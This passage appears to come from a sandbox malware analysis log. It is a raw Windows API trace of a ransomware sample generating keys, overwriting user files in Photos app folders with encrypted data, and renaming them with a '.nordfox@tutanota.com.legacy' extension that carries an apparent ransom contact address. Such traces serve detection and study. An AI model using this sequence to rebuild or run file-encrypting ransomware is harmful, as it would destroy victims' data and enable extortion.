out: pbBuffer=0x5c3428) returned 1 [0160.797] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0160.797] ReadFile (in: hFile=0x1160, lpBuffer=0x5c3438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.797] SetFilePointer (in: hFile=0x1160, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.797] WriteFile (in: hFile=0x1160, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0160.797] SetFilePointer (in: hFile=0x1160, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0160.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.797] WriteFile (in: hFile=0x1160, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.798] WriteFile (in: hFile=0x1160, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.799] CloseHandle (hObject=0x1160) returned 1 [0160.807] WriteFile (in: hFile=0x116c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.808] CloseHandle (hObject=0x116c) returned 1 [0160.809] WriteFile (in: hFile=0x116c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.810] CloseHandle (hObject=0x116c) returned 1 [0160.810] WriteFile (in: hFile=0x116c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.811] CloseHandle (hObject=0x116c) returned 1 [0160.812] WriteFile (in: hFile=0x1178, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0160.813] CloseHandle (hObject=0x1178) returned 1 [0160.813] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0160.813] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0160.813] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\PhotosAppTracing_BGTask.last.etl", dwFileAttributes=0x80) returned 1 [0160.825] ReadFile (in: hFile=0x1178, lpBuffer=0x30cd020, nNumberOfBytesToRead=0x20000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30cd020*, lpNumberOfBytesRead=0x2e1f9bc*=0x20000, lpOverlapped=0x0) returned 1 [0160.842] SetFilePointer (in: hFile=0x1178, lDistanceToMove=-131072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.842] WriteFile (in: hFile=0x1178, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x20000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20000, lpOverlapped=0x0) returned 1 [0160.843] SetFilePointer (in: hFile=0x1178, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20000 [0160.843] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.843] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.843] WriteFile (in: hFile=0x1178, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.844] WriteFile (in: hFile=0x1178, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.844] CloseHandle (hObject=0x1178) returned 1 [0160.858] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0160.858] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0160.858] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\PhotosAppTracing_BGTask.etl", dwFileAttributes=0x80) returned 1 [0160.914] ReadFile (in: hFile=0x1178, lpBuffer=0x30cd020, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30cd020*, lpNumberOfBytesRead=0x2e1f9bc*=0x10000, lpOverlapped=0x0) returned 1 [0160.976] SetFilePointer (in: hFile=0x1178, lDistanceToMove=-65536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.976] WriteFile (in: hFile=0x1178, lpBuffer=0x30dd028*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10000, lpOverlapped=0x0) returned 1 [0160.977] SetFilePointer (in: hFile=0x1178, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10000 [0160.977] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0160.977] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0160.978] WriteFile (in: hFile=0x1178, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0160.978] WriteFile (in: hFile=0x1178, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0160.978] CloseHandle (hObject=0x1178) returned 1 [0160.987] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0160.987] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0160.987] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-wal", dwFileAttributes=0x80) returned 1 [0160.995] ReadFile (in: hFile=0x1178, lpBuffer=0x3525020, nNumberOfBytesToRead=0x153fd0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3525020*, lpNumberOfBytesRead=0x2e1f9bc*=0x153fd0, lpOverlapped=0x0) returned 1 [0161.071] SetFilePointer (in: hFile=0x1178, lDistanceToMove=-1392592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.071] WriteFile (in: hFile=0x1178, lpBuffer=0x3684020*, nNumberOfBytesToWrite=0x153fd0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3684020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x153fd0, lpOverlapped=0x0) returned 1 [0161.091] SetFilePointer (in: hFile=0x1178, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x153fd0 [0161.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.091] WriteFile (in: hFile=0x1178, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.092] WriteFile (in: hFile=0x1178, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.092] CloseHandle (hObject=0x1178) returned 1 [0161.094] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0161.094] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0161.094] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm", dwFileAttributes=0x80) returned 1 [0161.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9040 [0161.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x570c48 [0161.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30c9040 | out: hHeap=0x520000) returned 1 [0161.095] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1178 [0161.095] GetFileSizeEx (in: hFile=0x1178, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=32768) returned 1 [0161.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8000) returned 0x30cd020 [0161.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8000) returned 0x30d5028 [0161.095] ReadFile (in: hFile=0x1178, lpBuffer=0x30cd020, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30cd020*, lpNumberOfBytesRead=0x2e1f9bc*=0x8000, lpOverlapped=0x0) returned 1 [0161.105] SetFilePointer (in: hFile=0x1178, lDistanceToMove=-32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.105] WriteFile (in: hFile=0x1178, lpBuffer=0x30d5028*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8000, lpOverlapped=0x0) returned 1 [0161.105] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30cd020 | out: hHeap=0x520000) returned 1 [0161.105] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5028 | out: hHeap=0x520000) returned 1 [0161.105] SetFilePointer (in: hFile=0x1178, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8000 [0161.105] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.105] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.106] WriteFile (in: hFile=0x1178, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.106] WriteFile (in: hFile=0x1178, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.106] CloseHandle (hObject=0x1178) returned 1 [0161.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0161.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0161.106] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-shm"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-shm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.107] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0161.108] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30c9128 | out: hHeap=0x520000) returned 1 [0161.108] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ca178 | out: hHeap=0x520000) returned 1 [0161.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9dd8 [0161.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0161.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0161.108] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0161.108] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0161.108] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite", dwFileAttributes=0x80) returned 1 [0161.119] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9ec0 [0161.119] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x570c48 [0161.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30c9ec0 | out: hHeap=0x520000) returned 1 [0161.119] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1178 [0161.119] GetFileSizeEx (in: hFile=0x1178, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4096) returned 1 [0161.119] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x31d51c8 [0161.119] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x31e3238 [0161.119] ReadFile (in: hFile=0x1178, lpBuffer=0x31d51c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x31d51c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0161.138] SetFilePointer (in: hFile=0x1178, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.138] WriteFile (in: hFile=0x1178, lpBuffer=0x31e3238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x31e3238*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0161.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x31d51c8 | out: hHeap=0x520000) returned 1 [0161.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x31e3238 | out: hHeap=0x520000) returned 1 [0161.138] SetFilePointer (in: hFile=0x1178, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1000 [0161.138] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.138] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.138] WriteFile (in: hFile=0x1178, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.139] WriteFile (in: hFile=0x1178, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.139] CloseHandle (hObject=0x1178) returned 1 [0161.139] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0161.139] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0161.139] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0161.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30c9dd8 | out: hHeap=0x520000) returned 1 [0161.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ca9a0 | out: hHeap=0x520000) returned 1 [0161.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f638a0 [0161.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64b60 | out: hHeap=0x520000) returned 1 [0161.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67aa8 | out: hHeap=0x520000) returned 1 [0161.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6ba60 | out: hHeap=0x520000) returned 1 [0161.147] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\RoamingState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0ee0b1c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f615d8 [0161.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.147] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0161.147] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78908 [0161.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0161.147] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78908 | out: hHeap=0x520000) returned 1 [0161.147] GetLastError () returned 0x0 [0161.147] SetLastError (dwErrCode=0x0) [0161.147] GetLastError () returned 0x0 [0161.147] SetLastError (dwErrCode=0x0) [0161.147] GetLastError () returned 0x0 [0161.147] SetLastError (dwErrCode=0x0) [0161.147] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0161.147] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dea0 [0161.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dea0 | out: hHeap=0x520000) returned 1 [0161.147] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65d60 [0161.147] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f61618 [0161.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f61618 | out: hHeap=0x520000) returned 1 [0161.147] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0161.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0161.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65d60 | out: hHeap=0x520000) returned 1 [0161.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0161.148] FindNextFileW (in: hFindFile=0x2f615d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0ee0b1c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78b28 [0161.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78b28 | out: hHeap=0x520000) returned 1 [0161.148] GetLastError () returned 0x0 [0161.148] SetLastError (dwErrCode=0x0) [0161.148] GetLastError () returned 0x0 [0161.148] SetLastError (dwErrCode=0x0) [0161.148] GetLastError () returned 0x0 [0161.148] SetLastError (dwErrCode=0x0) [0161.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0161.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dbe0 [0161.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dbe0 | out: hHeap=0x520000) returned 1 [0161.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f658b0 [0161.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f61558 [0161.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f61558 | out: hHeap=0x520000) returned 1 [0161.148] RtlAllocateHeap 